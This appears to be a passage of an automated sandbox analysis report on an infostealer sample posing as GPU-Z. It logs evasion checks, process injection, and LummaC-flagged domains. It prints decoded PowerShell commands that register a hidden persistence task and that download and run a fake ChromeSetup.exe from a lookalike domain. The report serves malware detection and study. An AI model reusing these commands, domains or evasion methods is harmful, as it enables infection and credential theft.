Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: GPU-Z.exe PID: 4720, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 4760, type: MEMORYSTR

Tries to delay execution (extensive OutputDebugStringW loop)

Source: C:\Users\user\Desktop\GPU-Z.exe

Section loaded: OutputDebugStringW count: 1938

Source: C:\Users\user\Desktop\GPU-Z.exe	Memory allocated: 3110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Memory allocated: 3320000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Memory allocated: 3110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Memory allocated: 8BB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Memory allocated: 9BB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Memory allocated: 9D90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Memory allocated: AD90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Memory allocated: B140000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Memory allocated: C140000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Memory allocated: D140000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 1140000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 2AD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 4AD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 7D50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 8D50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 8F10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 9F10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: A2A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: B2A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: C2A0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe

Code function: 18_2_01040130 rdtsc

18_2_01040130

Source: C:\Users\user\Desktop\GPU-Z.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\GPU-Z.exe	Window / User API: threadDelayed 1398	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Window / User API: threadDelayed 8249	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7056	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2552	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 742
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 419
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4450
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5294

Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe

API coverage: 3.0 %

Source: C:\Users\user\Desktop\GPU-Z.exe TID: 6608	Thread sleep time: -1398000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe TID: 7088	Thread sleep time: -106000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe TID: 3292	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe TID: 6608	Thread sleep time: -8249000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4480	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5260	Thread sleep time: -71000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 6516	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 6564	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 320	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5860	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6112	Thread sleep count: 7056 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6112	Thread sleep count: 2552 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6716	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5792	Thread sleep count: 742 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5728	Thread sleep count: 419 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6448	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5380	Thread sleep count: 4450 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5372	Thread sleep count: 5294 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4832	Thread sleep time: -16602069666338586s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5080	Thread sleep time: -1844674407370954s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\GPU-Z.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: powershell.exe, 0000000B.00000002.2862170170.000000000563E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: GPU-Z.exe, 00000000.00000002.2855684296.0000000005940000.00000004.08000000.00040000.00000000.sdmp, AddInProcess32.exe, 00000003.00000002.2931725879.0000000003AD9000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000003.00000002.2931725879.0000000003C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VBoxTray
Source: powershell.exe, 0000000B.00000002.2862170170.000000000563E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: svchost.exe, 00000002.00000002.3310521647.0000016253E58000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.2986177052.00000000005D3000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.2985507229.000000000057D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000011.00000002.3126250174.000000000769C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlli
Source: powershell.exe, 00000011.00000002.3094821641.000000000329E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: powershell.exe, 0000000B.00000002.2862170170.000000000563E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: svchost.exe, 00000002.00000002.3304867765.000001624E82B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: AddInProcess32.exe, 00000003.00000002.2931725879.0000000003C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 234343455GSOFTWARE\VMware, Inc.\VMware VGAuth

Source: C:\Users\user\Desktop\GPU-Z.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\GPU-Z.exe

Code function: 0_2_0583BDBC CheckRemoteDebuggerPresent,

0_2_0583BDBC

Source: C:\Users\user\Desktop\GPU-Z.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe

Code function: 18_2_01040130 rdtsc

18_2_01040130

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 6_2_004242B8 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

6_2_004242B8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

6_2_004108D0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 6_2_00420430 RtlAllocateHeap,GetProcessHeap,HeapAlloc,

6_2_00420430

Source: C:\Users\user\Desktop\GPU-Z.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00401D3F RtlAddVectoredExceptionHandler,SetThreadStackGuarantee,GetCurrentThread,SetThreadDescription,SetThreadDescription,WaitOnAddress,WakeByAddressSingle,	6_2_00401D3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_004242B8 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_004242B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0042441A SetUnhandledExceptionFilter,	6_2_0042441A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00424726 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00424726
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_010F0124 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_010F0124
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_010DE028 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_010DE028
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_0095A10E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	19_2_0095A10E
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_00947318 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	19_2_00947318
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_0095A10E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_0095A10E
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_00947318 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	20_2_00947318

Source: C:\Users\user\Desktop\GPU-Z.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -win 1 -noni -ep bypass -file C:\Users\user\AppData\Local\MediaStorage\update.ps1

Encrypted powershell cmdline option found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded $h = (Get-Date).hour; $m = (Get-Date).AddMinutes(2).minute; $Trigger = New-ScheduledTaskTrigger -Once -At "$h`:$m"; $Action = New-ScheduledTaskAction -Execute "cmd" -Argument "/c powershell -win 1 -noni -ep bypass -file $env:USERPROFILE\AppData\Local\MediaStorage\update.ps1"; $Principal = New-ScheduledTaskPrincipal -UserId $Env:UserName; Register-ScheduledTask -TaskName "MediaUpdate" -Trigger $Trigger -Action $Action -Principal $Principal
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded Invoke-WebRequest -Uri "https://chrome-browser-download.com/ChromeSetup.exe" -OutFile "$env:TEMP\ChromeSetup.exe"; Start-Process "$env:TEMP\ChromeSetup.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded $h = (Get-Date).hour; $m = (Get-Date).AddMinutes(2).minute; $Trigger = New-ScheduledTaskTrigger -Once -At "$h`:$m"; $Action = New-ScheduledTaskAction -Execute "cmd" -Argument "/c powershell -win 1 -noni -ep bypass -file $env:USERPROFILE\AppData\Local\MediaStorage\update.ps1"; $Principal = New-ScheduledTaskPrincipal -UserId $Env:UserName; Register-ScheduledTask -TaskName "MediaUpdate" -Trigger $Trigger -Action $Action -Principal $Principal	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded Invoke-WebRequest -Uri "https://chrome-browser-download.com/ChromeSetup.exe" -OutFile "$env:TEMP\ChromeSetup.exe"; Start-Process "$env:TEMP\ChromeSetup.exe"

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\GPU-Z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 500000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A	Jump to behavior

LummaC encrypted strings found

Source: AddInProcess32.exe, 00000003.00000002.2931725879.0000000003AD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: AddInProcess32.exe, 00000003.00000002.2931725879.0000000003AD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: AddInProcess32.exe, 00000003.00000002.2931725879.0000000003AD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: AddInProcess32.exe, 00000003.00000002.2931725879.0000000003AD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: AddInProcess32.exe, 00000003.00000002.2931725879.0000000003AD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: AddInProcess32.exe, 00000003.00000002.2931725879.0000000003AD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: AddInProcess32.exe, 00000003.00000002.2931725879.0000000003AD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: AddInProcess32.exe, 00000003.00000002.2931725879.0000000003AD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat

Writes to foreign memory regions

Source: C:\Users\user\Desktop\GPU-Z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 48A000	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 49C000	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 9DF008	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 42A000	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 433000	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 434000	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: A5E008	Jump to behavior

Source: C:\Users\user\Desktop\GPU-Z.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAiACQAaABgADoAJABtACIAOwAgACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBjAG0AZAAiACAALQBBAHIAZwB1AG0AZQBuAHQAIAAiAC8AYwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAHcAaQBuACAAMQAgAC0AbgBvAG4AaQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAaQBsAGUAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AZQBkAGkAYQBTAHQAbwByAGEAZwBlAFwAdQBwAGQAYQB0AGUALgBwAHMAMQAiADsAIAAkAFAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAEUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AZQBkAGkAYQBVAHAAZABhAHQAZQAiACAALQBUAHIAaQBnAGcAZQByACAAJABUAHIAaQBnAGcAZQByACAALQBBAGMAdABpAG8AbgAgACQAQQBjAHQAaQBvAG4AIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABQAHIAaQBuAGMAaQBwAGEAbAA=	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c powershell -win 1 -noni -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcABzADoALwAvAGMAaAByAG8AbQBlAC0AYgByAG8AdwBzAGUAcgAtAGQAbwB3AG4AbABvAGEAZAAuAGMAbwBtAC8AQwBoAHIAbwBtAGUAUwBlAHQAdQBwAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAJABlAG4AdgA6AFQARQBNAFAAXABDAGgAcgBvAG0AZQBTAGUAdAB1AHAALgBlAHgAZQAiADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAEMAaAByAG8AbQBlAFMAZQB0AHUAcAAuAGUAeABlACIA	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAiACQAaABgADoAJABtACIAOwAgACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBjAG0AZAAiACAALQBBAHIAZwB1AG0AZQBuAHQAIAAiAC8AYwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAHcAaQBuACAAMQAgAC0AbgBvAG4AaQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAaQBsAGUAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AZQBkAGkAYQBTAHQAbwByAGEAZwBlAFwAdQBwAGQAYQB0AGUALgBwAHMAMQAiADsAIAAkAFAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAEUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AZQBkAGkAYQBVAHAAZABhAHQAZQAiACAALQBUAHIAaQBnAGcAZQByACAAJABUAHIAaQBnAGcAZQByACAALQBBAGMAdABpAG8AbgAgACQAQQBjAHQAaQBvAG4AIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABQAHIAaQBuAGMAaQBwAGEAbAA=	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -win 1 -noni -ep bypass -file C:\Users\user\AppData\Local\MediaStorage\update.ps1
